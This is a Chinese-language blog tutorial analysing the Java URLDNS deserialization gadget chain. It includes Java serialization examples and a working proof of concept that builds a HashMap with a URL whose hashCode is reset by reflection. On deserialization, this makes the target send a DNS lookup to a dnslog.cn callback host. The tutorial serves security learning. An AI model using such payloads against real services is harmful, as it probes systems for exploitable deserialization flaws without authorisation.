简单的UrlDns链分析
URLDNS链学习
首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。
首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化
点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
// 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
private String name;
// 定义私有变量 age,类型为 int。
private int age;
// 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
// 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
public Person() {
}
// 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
// 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
public Person(String name, int age) {
this.name = name; // 将传入的参数 name 赋值给成员变量 name。
this.age = age; // 将传入的参数 age 赋值给成员变量 age。
}
// 覆盖了 Object 类的 toString 方法。
// toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
@Override
public String toString() {
return "Person{" +
"name = " + name + '\'' + // 将成员变量 name 加入到返回的字符串中。
", age = " + age + // 将成员变量 age 加入到返回的字符串中。
'}';
}
}
序列化类
序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。
点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
// 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
// 定义一个静态方法 serialize,用于序列化任意对象。
// 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
public static void serialize(Object obj) throws IOException {
// 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
// ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
// 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
oos.writeObject(obj);
}
// 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 创建一个 Person 对象,名字为 "aa",年龄为 22。
Person person = new Person("aa", 22);
// 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
// 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
serialize(person);
}
}
反序列化类
反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。
点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream;
// 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
// 定义一个静态方法 unserialize,用于从文件中反序列化对象。
// 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
// 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
// ObjectInputStream 用于从输入流中读取对象的序列化表示。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
// 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
Object obj = ois.readObject();
return obj;
}
// 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
// 将返回的 Object 强制类型转换为 Person 类型。
Person person = (Person) unserialize("ser.bin");
// 打印反序列化得到的 Person 对象。
// 调用 Person 类的 toString 方法,显示对象的详细信息。
System.out.println(person);
}
}
下面我们来讲一下DNS链
点击查看代码
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
// 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
// 这是一种提高效率的做法,避免重复计算哈希值。
if (hashCode != -1)
return hashCode; // 直接返回已经计算好的哈希码。
// 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
// 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
// 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
hashCode = handler.hashCode(this);
// 返回新计算的哈希码。
return hashCode;
}
然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址


获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。
这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。


这个时候我们就可以写一下代码,尝试执行以下请求DNSlog
点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL(""),1);
serialize(person);
}
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去
现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog


为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
* 将指定的键和值添加到这个map中。
*
* @param key 要与指定值关联的键。
* @param value 与指定键关联的值。
* @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
*/
public V put(K key, V value) {
// 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
// 参数说明:
// - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
// - key: 要添加到map中的键。
// - value: 要与键关联的值。
// - false: 表示不是用来替代整个map的。
// - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
return putVal(hash(key), key, value, false, true);
}
意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了


所以我们需要在反序列化之前,把hashCode改回来
直接看代码,通过反射
点击查看代码
public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://rdpr0d.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
serialize(hashmap);
}
}
无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了


点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://5cv1ga.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求
简单的UrlDns链分析的更多相关文章
- Java安全之URLDNS链
Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...
- 一步一步学习FastJson1.2.47远程命令执行漏洞
本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...
- javascript中继承方式及优缺点(一)
分别介绍原型链继承.call/apply继承(借用构造函数继承).组合继承.原型式继承.寄生式继承.寄生组合式继承 1. 原型链继承 核心:将父类的实例作为子类的原型 function SuperTy ...
- yso中URLDNS的pop链分析(重新分析整理)
#发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...
- [原创]基于SpringAOP开发的方法调用链分析框架
新人熟悉项目必备工具!基于SpringAOP开发的一款方法调用链分析插件,简单到只需要一个注解,异步非阻塞,完美嵌入Spring Cloud.Dubbo项目!再也不用担心搞不懂项目! 很多新人进入一家 ...
- Linux内核通知链分析【转】
转自:http://www.cnblogs.com/jason-lu/articles/2807758.html Linux内核通知链分析 1. 引言 Linux是单内核架构(monolithic k ...
- ThinkPHP v5.1.x POP 链分析
环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...
- ysoserial分析【二】7u21和URLDNS
目录 7u21 gadget链分析 hashCode绕过 参考 URLDNS 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理.AnnotationInvocationHa ...
- Java安全之FastJson JdbcRowSetImpl 链分析
Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
随机推荐
- 将本地文件上传到github仓库
将本地文件上传到github空仓库 本地使用git上传文件: 第一步:在需要的文件夹(文件夹里已经放了需要提交的内容)右击git bash,输入git init 第二步:将本地文件上传到本地git仓库 ...
- vue peek 解决了 vue-template 加载 相对目录 ./components 组件内容 vscode
点击组件跳转,vue-helper 带@的能跳转,相对目录的不能跳转.vue peek 解决了这个问题.
- 海量数据去重的Hash与BloomFilter
今天我们谈论一下散列表,我之前的两个博文写的都是关于平衡二叉树的 平衡二叉树 增删改查时间复杂度为log2n 平衡的目的是增删改以后,保证下次搜索能稳定排除一半的数据: 总结:通过比较保证有序,通过每 ...
- Github+picGo搭建图床(搭配Typora)
使用Github+picGo搭建图床,保姆级教程来了 - 转载自知乎 (zhihu.com) 1. 注册一个Github账号 首先你需要一个github账号,如果没有的话,先注册. github官网地 ...
- [https://atcoder.jp/contests/abc234/tasks/abc234_d Prefix K-th Max] 最小堆实现
Problem Statement Given are a permutation P=(P_1,P_2,\ldots,P_N)P=(P1,P2,-,PN) of (1,2,\ldots,N)( ...
- CSS(相对定位relative、绝对定位absolute、固定定位fixed、定位应用、元素的显示和隐藏)
一. 定位(position) 介绍 1.1 为什么使用定位 我们先来看一个效果,同时思考一下用标准流或浮动能否实现类似的效果? 场景1: 某个元素可以自由的在一个盒子内移动位置,并且压住其他盒子. ...
- 探讨三维模型OBJ格式轻量化在三维展示效果上的重要性
探讨三维模型OBJ格式轻量化在三维展示效果上的重要性 三维模型的OBJ格式轻量化在三维展示效果方面具有重要性.以下是对三维模型OBJ格式轻量化在三维展示效果上的重要性进行分析: 1.提高渲染性能:原始 ...
- 记录--分享并解析一个倒计时组件(Vue)
这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.前言 入职的第一个需求是跟着一位前端大佬一起完成的一个活动项目. 由于是一起开发,当然不会放过阅读大佬的代码的机会. 因为我的页面中需 ...
- Python 批量合并csv文件
一.批量合并csv文件<方法1> import pandas as pd import glob import os # 获取所有CSV文件的路径 file_paths = glob.gl ...
- S2DNAS:北大提出动态推理网络搜索,加速推理,可转换任意网络 | ECCV 2020 Oral
S2DNAS最核心的点在于设计了丰富而简洁的搜索空间,从而能够使用常规的NAS方法即可进行动态推理网络的搜索,解决了动态推理网络的设计问题,可进行任意目标网络的转换 来源:晓飞的算法工程笔记 公众 ...